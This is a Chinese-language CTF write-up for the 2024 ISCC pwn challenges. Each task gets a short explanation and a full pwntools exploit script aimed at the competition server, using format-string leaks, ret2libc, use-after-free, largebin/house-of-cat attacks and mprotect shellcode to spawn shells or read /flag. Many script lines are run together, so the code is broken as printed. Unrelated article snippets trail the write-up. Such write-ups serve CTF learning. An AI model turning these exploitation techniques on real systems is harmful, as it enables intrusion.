2024 ISCC pwn wp

iscc 练武pwn

  • 总结
  • 第一周
    • chaos
    • ISCC_easy
    • Flag
    • shopping
  • 第二周
    • ISCC_easy
    • ISCC_U
    • heapheap
  • 第三周
    • miao
    • Your_program
    • eazy_heap

总结

总体感觉iscc考察的题目都挺基础的,在目前这种比赛的大环境下,仍然出这种,比较基础的题目,实在是难得,题目的漏洞都很明显,不需要过多的逆向,打起来很轻松,在这个静态编译加去符号的大环境下,出这种题目,真的是泪目了。

第一周

chaos

好几个选项,挨个审计

在这里插入图片描述
在这里插入图片描述

需要绕过一下
把释放的堆块再申请回来,填入Flag即可

Exp:

from pwn import *
def sl(a):p.sendline(a)
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
p = remote('182.92.237.102', 10010)
rl("Please Choice:")
sl(str(5))rl("Please Input Chunk size :")
sl(str(0x68))rl("Please Input Content : ")
sl(b'Flag\x00')
inter()

ISCC_easy

审计代码,发现格式化字符串漏洞
在这里插入图片描述

并且gets函数存在栈溢出

格式化字符串漏洞泄露canary和pie,走后门即可
Exp:

from pwn import *
def s(a):p.send(a)
def sl(a):p.sendline(a)
def rl(a):return p.recvuntil(a)
def inter():p.interactive()p = remote('182.92.237.102', 10011)
rl(">>")
pay=b'flagisaaa%15$p%17$p'
sl(pay)rl("0x")
can=int(p.recv(16),16)
print(hex(can))rl("0x")
pie=int(p.recv(12),16) -0x0000000000001422-254
print(hex(can))rl(">>")
pay=(b'exit').ljust(0x38)+p64(can)*2+p64(pie+0x1291)
sl(pay)rl(">>")
sl(b'exit')inter()

Flag

随便输入,只要和help。Txt不一样就可以执行格式化字符串漏洞
泄露canary即可
在这里插入图片描述

栈溢出打ret2libc
在这里插入图片描述

Exp:

from pwn import *
def s(a):p.send(a)
def sl(a):p.sendline(a)
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
p = remote('182.92.237.102',  10012)
elf = ELF('./pwn')
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rl("what's the content?\n")
pay=b'%19$p'
#bug()
sl(pay)rl("0x")
can=int(p.recv(8),16)rl("Input:\n")
pay=b'a'*(0x94-0xc)+p32(can)*0x4+p32(elf.plt['puts'])+p32(0x804931B)+p32(elf.got['read'])
s(pay)libc_base=u32(p.recvuntil(b'\xf7')[-4:])-0xf0780
system,bin=libc_base+0x41360,libc_base+0x18c363rl("Input:\n")
pay=b'a'*(0x94-0xc)+p32(can)*0x4+p32(system)+p32(0x804931B)+p32(bin)
s(pay)inter()

shopping

原题,改一下脚本的细节即可
https://blog.csdn.net/weixin_43960998/article/details/115641480

exp:

from pwn import *
sh = remote('182.92.237.102', 10019)
elf = ELF('./pwn')
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping\n")def add(size, n, content=''):sh.sendlineafter('Action:', '1')sh.sendlineafter('Item ID:', str(size))sh.sendlineafter('Quantity:', str(n))if content == '':sh.sendlineafter('Add gift message? (0/1):', '0')else:sh.sendlineafter('Add gift message? (0/1):', '1')sh.sendafter('Message:', content)for i in range(12):add(0x4000, 1000)add(0x4000, 262, '0'*0x3FF0)payload = b'1'*0x50 + p32(0) + p32(3) + b''.join([p64(0x60201d) for _ in range(10)])
sleep(0.2)
sh.send(payload)sleep(0.2)payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)sh.interactive()

第二周

ISCC_easy

格式化字符串漏洞把s改成5
在这里插入图片描述

之后进入welcome
在这里插入图片描述

栈溢出ret2libc

Exp:

from pwn import *
def s(a):p.send(a)
def sl(a):p.sendline(a)
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = remote('182.92.237.102', 10013)
elf = ELF('./pwn')
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
rl("Let's have fun!\n")
pay=fmtstr_payload(4,{0x804C030:5})
s(pay)
rl("Input:\n")
pay=b'a'*(0x90+4)+p32(elf.plt['puts'])+p32(0x804929B)+p32(elf.got['read'])
s(pay)
libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.sym['read']
system,bin=get_sb()
rl("Input:\n")
pay=b'a'*(0x90+4)+p32(system)+p32(0x804929B)+p32(bin)
s(pay)inter()

ISCC_U

存在uaf漏洞

在这里插入图片描述

利用点在这
在这里插入图片描述

打印用的是堆块里的地址
思路就是free一个unsorted bin堆块,在申请回来泄露libc,然后再free两个堆块,在申请0x8的堆块,就能把前俩堆块的控制堆块申请回来,将puts函数改为system,然后show原先的堆块
Exp如下:

from pwn import *
def s(a):p.send(a)
def sl(a):p.sendline(a)
def rl(a):return p.recvuntil(a)
def inter():p.interactive()p = remote('182.92.237.102', 10016)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
def add(size,c):rl("What's your choice :")sl(str(1))rl("Note size :")sl(str(size))rl("Content :")s(c)def free(i):rl("What's your choice :")sl(str(2))rl("Index :")sl(str(i))def show(i):rl("What's your choice :")sl(str(3))rl("Index :")sl(str(i))add(0x410,b'a')
add(0x28,b'/bin/sh\x00')
free(0)
add(0x8,b'a')
show(0)
u32(p.recvuntil('\xf7')[-4:])
libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.sym['__malloc_hook']-568-0x18
system=libc_base+libc.sym['system']
free(2)
free(1)
add(0x8,p32(system)+b';`sh`\x00')
show(0)inter()

heapheap

有沙盒
但是四个功能齐全
在这里插入图片描述

Uaf漏洞
在这里插入图片描述

版本2.31,largebin attack打IOlistall为堆地址,伪造IOfile,house of cat orw

Exp:

from pwn import *
def s(a):p.send(a)
def sl(a):p.sendline(a)
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
p = remote('182.92.237.102', 11000)
libc = ELF('./libc-2.31.so')
def add(i,size):rl("Your choice:\n")sl(str(1))rl("index:")sl(str(i))rl("Size:\n")sl(str(size))def free(i):rl("Your choice:\n")sl(str(4))rl("index:")sl(str(i))def show(i):rl("Your choice:\n")sl(str(2))rl("index:")sl(str(i))def edit(i,c):rl("Your choice:\n")sl(str(3))rl("index:")sl(str(i))rl("context: \n")s(c)add(0,0x450)
add(1,0x428)
add(2,0x430)
add(3,0x428)add(7,0x410)
add(8,0x400)
add(9,0x410)free(0)
add(4,0x500)
add(5,0x500)
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-2019296
Io_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']+61
prdi_ret = libc_base+0x23b6a
prsi_ret = libc_base+0x2601f
prdx_r12_ret = libc_base+0x119431
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']edit(0,b'a'*0x18)
show(0)
rl("a"*0x18)
heap_base=u64(p.recv(6).ljust(0x8,b'\x00'))-0x290
edit(0,p64(libc_base+2019296)*2+p64(heap_base+0x290)+p64(Io_list_all-0x20))
free(2)
add(6,0x500)fake_io_addr=heap_base+0xb20 
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) 
fake_IO_FILE +=p64(fake_io_addr+0x450)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) 
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1e8f60+0x30) 
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)edit(2,fake_IO_FILE)orw = b'/flag\x00\x00\x00'
orw=orw.ljust(0xa0,b'\x00')+p64(heap_base+0xf60+0xc0)+p64(prdi_ret+1)
orw += p64(prdi_ret) + p64(fake_io_addr+0x450) 
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(write_addr)edit(3,orw)
rl("Your choice:\n")
sl(str(5))inter()

第三周

miao

32位静态编译,想一把梭,但是有canary,先格式化字符串漏洞泄露canary,然后第二次栈溢出构造mprotect+read+shellcode的链子
Exp如下:

from pwn import *
r = remote('182.92.237.102', 10015)
r.recvuntil("Would you like to say something to it?\n")
pay=b'%31$p'
r.sendline(pay)
r.recvuntil("0x")
can=int(r.recv(8),16)
r.recvuntil(" (  ^.^  ) \n")
p = b'a'*(0x70-0xc)+p32(can)+b'a'*(0xc)+p32(0x0806E3D0)+p32(0x0806f308)+p32(0x80ea000)+p32(0x1000)+p32(7)+p32(0x806D8D0)+p32(0x0806f308)+p32(0)+p32(0x80EA000)+p32(0x100)+p32(0x80EA000)
r.sendline(p)
sleep(0.5)
r.send(asm(shellcraft.sh()))
r.interactive()

Your_program

第一个函数就有栈溢出,简单绕过一下即可
在这里插入图片描述

Exp:

from pwn import *
p = remote('182.92.237.102', 10032)
elf = ELF('./pwn')
p.recvuntil("Enter key: ")
pay=(b'a'*27+p8(0x41)).ljust(0x28,b'\x00')+p64(0x0000000000401763)+p64(elf.got['gets'])+p64(elf.plt['puts'])+p64(0x401276)
p.sendline(pay)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x83970
system,bin=libc_base+0x52290,libc_base+1787325
p.recvuntil("Enter key: ")
pay=(b'a'*27+p8(0x41)).ljust(0x28,b'\x00')+p64(0x0000000000401763)+p64(bin)+p64(0x0000000000401763+1)+p64(system)
p.sendline(pay)
p.interactive()

eazy_heap

2.35 off by null。模板题,稍微改改exp直接打
这个实际上也是原题
https://blog.csdn.net/weixin_43784056/article/details/131265857
在这里插入图片描述
最离谱的是,脚本直接能打通,该都不用改。
在这里插入图片描述

Exp:

from pwn import *
p = remote('182.92.237.102', 2122)
def add(size,c):p.recvuntil("input your car choice >> \n")p.sendline(str(1))p.recvuntil("size:\n")p.sendline(str(size))p.recvuntil("content:\n")p.send(c)
def free(i):p.recvuntil("input your car choice >> \n")p.sendline(str(2))p.recvuntil("idx:\n")p.sendline(str(i))def edit(i,c):p.recvuntil("input your car choice >> \n")p.sendline(str(4))p.recvuntil("idx:\n")p.sendline(str(i))p.recvuntil("content:\n")p.send(c)def show(i):p.recvuntil("input your car choice >> \n")p.sendline(str(3))p.recvuntil("idx:\n")p.sendline(str(i))
add(0x410,b'a')
add(0x100,b'a')
add(0x430,b'a')
add(0x430,b'a')
add(0x100,b'a')
add(0x480,b'a')
add(0x420,b'a')
add(0x90,b'a')
free(0)
free(3)
free(6)
free(2)
add(0x450, b'a'*0x438+p32(0x551))
add(0x410,b'a')
add(0x420,b'a')
add(0x410,b'a')
free(6)
free(2)
add(0x410,b'a'*8)
add(0x410,b'a'*8)
edit(2,b'a'*8)
free(6) 
free(3)
free(5)
add(0x4f0, b"a"*0x488 + p64(0x431))
add(0x3b0,b'a')
edit(3,b"a"*0x488 + p64(0x431))
free(4)
add(0x108, b"a"*0x100)
edit(4,b"a"*0x100 + p64(0x550))
add(0x410,b'a')
free(3)
show(6)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x21a000
Io_list_all=libc_base+0x21a680
setcontext=libc_base+0x53a30+61
prdi_ret = libc_base+0x2a3e5
prsi_ret = libc_base+0x2be51
prdx_r12_ret = libc_base+0x11f497
open_addr=libc_base+0x114690
read_addr=libc_base + 0x114980
write_addr=libc_base + 0x114a20u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
p.recv(2)
heap_base=u64(p.recv(8))-0xc20
add(0x3f0,b'a')
add(0x90, b'a' * 0x38 + p64(0xa1))
free(7)
free(4)
edit(8,b'a' * 0x38 + p64(0xa1)+p64(Io_list_all^((heap_base>>12)+1)))
fake_io_addr=heap_base+0x290 
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) 
fake_IO_FILE +=p64(fake_io_addr+0x440+0x10)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) 
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) 
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x30)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
edit(2,fake_IO_FILE)
add(0x90,b'a')
add(0x90,p64(heap_base+0x290))
orw = p64(prdi_ret) + p64(heap_base+0x6c0)
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(write_addr)
edit(1,b'/flag\x00\x00\x00'*2+b'\x00'*(0xa0+0x10)+p64(heap_base+0x7c0+0x10)+p64(prdi_ret+1))
edit(0,orw)
p.recvuntil("input your car choice >> \n")
p.sendline(str(5))p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/15741.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣刷题---2283. 判断一个数的数字计数是否等于数位的值【简单】

题目描述 给你一个下标从 0 开始长度为 n 的字符串 num &#xff0c;它只包含数字。 如果对于 每个 0 < i < n 的下标 i &#xff0c;都满足数位 i 在 num 中出现了 num[i]次&#xff0c;那么请你返回 true &#xff0c;否则返回 false 。 示例 1&#xff1a; 输入&a…

SpringCloud系列(31)--使用Hystrix进行服务降级

前言&#xff1a;在上一章节中我们创建了服务消费者模块&#xff0c;而本节内容则是使用Hystrix对服务进行服务降级处理。 1、首先我们先对服务提供者的服务进行服务降级处理 (1)修改cloud-provider-hystrix-payment8001子模块的PaymentServiceImpl类 注&#xff1a;HystrixP…

从零开始学逆向,js逆向启蒙:有道翻译

语言&#xff1a;js、python 工具&#xff1a;pycharm、chrome浏览器F12调试、chatgpt&#xff08;补充js第三方库&#xff0c;转python&#xff09;、node.js(js运行)&#xff08;必须&#xff09; 目标&#xff1a;学习掌握基本js逆向知识。 对象&#xff1a; 有道翻译 &a…

怎么判断同步时序逻辑电路和异步时序逻辑电路?

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…

力扣刷题---2418. 按身高排序【简单】

题目描述 给你一个字符串 数组 names &#xff0c;和一个由 互不相同 的正整数组成的数组 heights 。两个数组的长度均为 n 。 对于每个下标 i&#xff0c;names[i] 和 heights[i] 表示第 i 个人的名字和身高。 请按身高 降序 顺序返回对应的名字数组 names 。 示例 1&…

嵌入式作业5

在函数main.c中初始化三种颜色的灯&#xff1a; gpio_init(LIGHT_BLUE, GPIO_OUTPUT, LIGHT_OFF); //蓝灯 gpio_init(LIGHT_GREEN, GPIO_OUTPUT, LIGHT_OFF); //绿灯 gpio_init(LIGHT_RED, GPIO_OUTPUT, LIGHT_OFF); //红灯 同时为了响应以上修改&#xff0c;进入isr。c…

STM32 CubeMX使用记录

取消DMA中断默认使能 DMA中断默认使能勾选无法取消选中 取消勾选Force DMA channels interrupts

cadence23---PCB Editer 学习笔记

1.交互式布局 在Orcad中点击图标N生成第一网表&#xff1a; 在PCB Editer中导入第一网表&#xff0c; 之后点击移动命令并在右侧属性框中勾选Symbol选项卡&#xff1a; 设置--应用模式--点击常规编辑&#xff1a; 之后就可以进行交互式选择了。 绿色图标为打开全部飞线&#…

web前端学习笔记11

11. CSS3高级特效 11.1 CSS3变形 CSS3变形是一些效果的集合, 如平移、旋转、缩放、倾斜效果 每个效果都可以称为变形(transform),它们可以分别操控元素发生平移、旋转、缩放、倾斜等变化 语法 transform:[transform-function] ; /* 设置变形函数,可以是一个,也可以是多…

2024年【N1叉车司机】考试题及N1叉车司机找解析

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 N1叉车司机考试题参考答案及N1叉车司机考试试题解析是安全生产模拟考试一点通题库老师及N1叉车司机操作证已考过的学员汇总&#xff0c;相对有效帮助N1叉车司机找解析学员顺利通过考试。 1、【多选题】《特种设备使用…

git使用介绍

一、为什么做版本控制&#xff08;git是版本控制工具&#xff09; 为了保留之前所以的版本&#xff0c;以便回滚和修改 二、点击安装 三、基础操作 1、初步认识 想要让git对一个目录进行版本控制需要以下步骤&#xff1a; 进入要管理的文件夹进行初始化命令 git init管理…

Amesim基础篇-元件详解-H型膨胀阀四象限解析

一 膨胀阀简介 膨胀阀的主要功能是节流和调节过热度,库内膨胀阀包含节流管、H型膨胀阀、T型膨胀阀三种: 节流管:一根内径较小的管路,当制冷剂通过他时发生等等焓降压降温,具有成本低,内径不可变的特点,因此普遍在家用空调中使用,在汽车空调上使用较少。当我们建模过程…

Linux虚拟主机中如何创建文件和文件夹

我想创建一个新的文件夹&#xff0c;由于我使用的Hostease的Linux虚拟主机产品默认带普通用户权限的cPanel面板&#xff0c;但是不知道如何在cPanel上操作创建文件&#xff0c;因为也是对于Hostease主机产品不是很了解&#xff0c;因此联系Hostease的咨询了Hostease技术支持&am…

JAVA线程池的线程数量配置

一 JAVA线程池的线程数量配置 关于线程的配置&#xff0c;线程数量配置多少这个问题呢&#xff1f;往往不同的环境与不同的线程中的代码决定其配置的线程的数量。 二 常见的线程量配置 最常见的方式根据线程中处理的代码划分为CPU密集型或IO密集型&#xff1a; CPU密集型&…

学习Uni-app开发小程序Day18

昨天学习了使用轮播显示图片和文字&#xff0c;轮播方式纵向和横向。今天使用扩展组件和scroll-view显示图片&#xff0c;使用scroll-view的grid方式、插槽slot、自定义组件、磨砂背景定位布局做专题组件 这就是需要做成的效果&#xff0c;下面将一步一步的完成。 首先&#x…

如何高效创建与配置工程环境:零基础入门

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、工程环境的搭建与准备 二、配置虚拟环境与选择解释器 三、编写代码与自动添加多行注释 …

SpringMVC笔记

一、SpringMVC 简介 1.1 什么是 MVC MVC 是一种软件架构的思想&#xff0c;将软件按照模型、视图、控制器来划分 1.M&#xff1a;Model 模型层&#xff0c;指工程中的 JavaBean &#xff0c;作用是处理数据 JavaBean 分为两类 实体类Bean&#xff1a;专门存储业务数据的…

C++vector的简单模拟实现

文章目录 目录 文章目录 前言 一、vector使用时的注意事项 1.typedef的类型 2.vector不是string 3.vector 4.算法sort 二、vector的实现 1.通过源码进行猜测vector的结构 2.初步vector的构建 2.1 成员变量 2.2成员函数 2.2.1尾插和扩容 2.2.2operator[] 2.2.3 迭代器 2…

【Apache Doris】BE宕机问题排查指南

【Apache Doris】BE宕机问题排查指南 背景BE宕机分类如何判断是BE进程是Crash还是OOMBE Crash 后如何排查BE OOM 后如何分析Cache 没及时释放导致BE OOM&#xff08;2.0.3-rc04&#xff09; 关于社区 作者&#xff5c;李渊渊 背景 在实际线上生产环境中&#xff0c;大家可能遇…